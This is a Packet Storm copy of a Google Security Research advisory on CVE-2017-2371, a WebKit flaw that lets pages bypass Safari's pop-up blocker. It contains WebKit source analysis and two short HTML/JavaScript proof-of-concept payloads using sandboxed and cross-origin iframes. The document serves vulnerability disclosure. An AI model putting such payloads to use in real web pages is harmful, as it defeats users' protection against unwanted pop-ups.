what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple WebKit Pop-Up Blocker Bypass

Apple WebKit Pop-Up Blocker Bypass
Posted Feb 24, 2017
Authored by Google Security Research, lokihardt

AppleWebKit suffers from a bypass in the pop-up blocker via a cross-origin or sandboxed iframe.

tags | advisory
advisories | CVE-2017-2371
SHA-256 | d457da214a1cf7f501ec9edc89ee54671857a33c838ee0dd2b0b469664bd1774

Apple WebKit Pop-Up Blocker Bypass

Change Mirror Download
 Apple WebKit: Bypass pop-up blocker via cross-origin or sandboxed iframe. 

CVE-2017-2371


The second argument of window.open is a name for the new window. If there's a frame that has same name, it will try to load the URL in that. If not, it just tries to create a new window and pop-up. But without the user's click event, its attempt will fail.

Here's some snippets.

RefPtr<DOMWindow> DOMWindow::open(const String& urlString, const AtomicString& frameName, const String& windowFeaturesString,
DOMWindow& activeWindow, DOMWindow& firstWindow)
{
...
---------------- (1) -----------------------
if (!firstWindow.allowPopUp()) { <<---- checks there's the user's click event.
// Because FrameTree::find() returns true for empty strings, we must check for empty frame names.
// Otherwise, illegitimate window.open() calls with no name will pass right through the popup blocker.
if (frameName.isEmpty() || !m_frame->tree().find(frameName))
return nullptr;
}
--------------------------------------------
...
RefPtr<Frame> result = createWindow(urlString, frameName, parseWindowFeatures(windowFeaturesString), activeWindow, *firstFrame, *m_frame);
return result ? result->document()->domWindow() : nullptr;
}


RefPtr<Frame> DOMWindow::createWindow(const String& urlString, const AtomicString& frameName, const WindowFeatures& windowFeatures, DOMWindow& activeWindow, Frame& firstFrame, Frame& openerFrame, std::function<void (DOMWindow&)> prepareDialogFunction)
{
...
RefPtr<Frame> newFrame = WebCore::createWindow(*activeFrame, openerFrame, frameRequest, windowFeatures, created);
if (!newFrame)
return nullptr;

...
}

RefPtr<Frame> createWindow(Frame& openerFrame, Frame& lookupFrame, const FrameLoadRequest& request, const WindowFeatures& features, bool& created)
{
ASSERT(!features.dialog || request.frameName().isEmpty());

created = false;

---------------- (2) -----------------------
if (!request.frameName().isEmpty() && request.frameName() != "_blank") {
if (RefPtr<Frame> frame = lookupFrame.loader().findFrameForNavigation(request.frameName(), openerFrame.document())) {
if (request.frameName() != "_self") {
if (Page* page = frame->page())
page->chrome().focus();
}
return frame;
}
}
--------------------------------------------

<<<<<----------- failed to find the frame, creates a new one.
...
}

The logic of the code (1) depends on the assumption that if |m_frame->tree().find(frameName)| succeeds, |lookupFrame.loader().findFrameForNavigation| at (2) will also succeed. If we could make |m_frame->tree().find(frameName)| succeed but |lookupFrame.loader().findFrameForNavigation| fail, a new window will be created and popped up without the user's click event.



Let's look into |findFrameForNavigation|.

Frame* FrameLoader::findFrameForNavigation(const AtomicString& name, Document* activeDocument)
{
Frame* frame = m_frame.tree().find(name);

// FIXME: Eventually all callers should supply the actual activeDocument so we can call canNavigate with the right document.
if (!activeDocument)
activeDocument = m_frame.document();

if (!activeDocument->canNavigate(frame))
return nullptr;

return frame;
}

bool Document::canNavigate(Frame* targetFrame)
{
...
if (isSandboxed(SandboxNavigation)) { <<<--------------- (1)
if (targetFrame->tree().isDescendantOf(m_frame))
return true;

const char* reason = "The frame attempting navigation is sandboxed, and is therefore disallowed from navigating its ancestors.";
if (isSandboxed(SandboxTopNavigation) && targetFrame == &m_frame->tree().top())
reason = "The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set.";

printNavigationErrorMessage(targetFrame, url(), reason);
return false;
}

...

if (canAccessAncestor(securityOrigin(), targetFrame)) <<<------------------- (2)
return true;

...

return false;
}

There are two points to make |Document::canNavigate| return false.

(1). Using a sandboxed iframe.
<body>
<iframe name="one"></iframe>
<iframe id="two" sandbox="allow-scripts allow-same-origin allow-popups"></iframe>

<script>
function main() {
two.eval('open("<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>", "one");');
}

main()
</script>
</body>

(2). Using a cross-origin iframe.
<body>
<iframe name="one"></iframe>

<script>
function main() {
document.body.appendChild(document.createElement("iframe")).contentDocument.location =
"data:text/html,<script>open('<a href="https://abc.xyz" title="" class="" rel="nofollow">https://abc.xyz</a>', 'one')</scri" + "pt>";
}

main()
</script>
</body>

Tested on Safari 10.0.2 (12602.3.12.0.1).


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close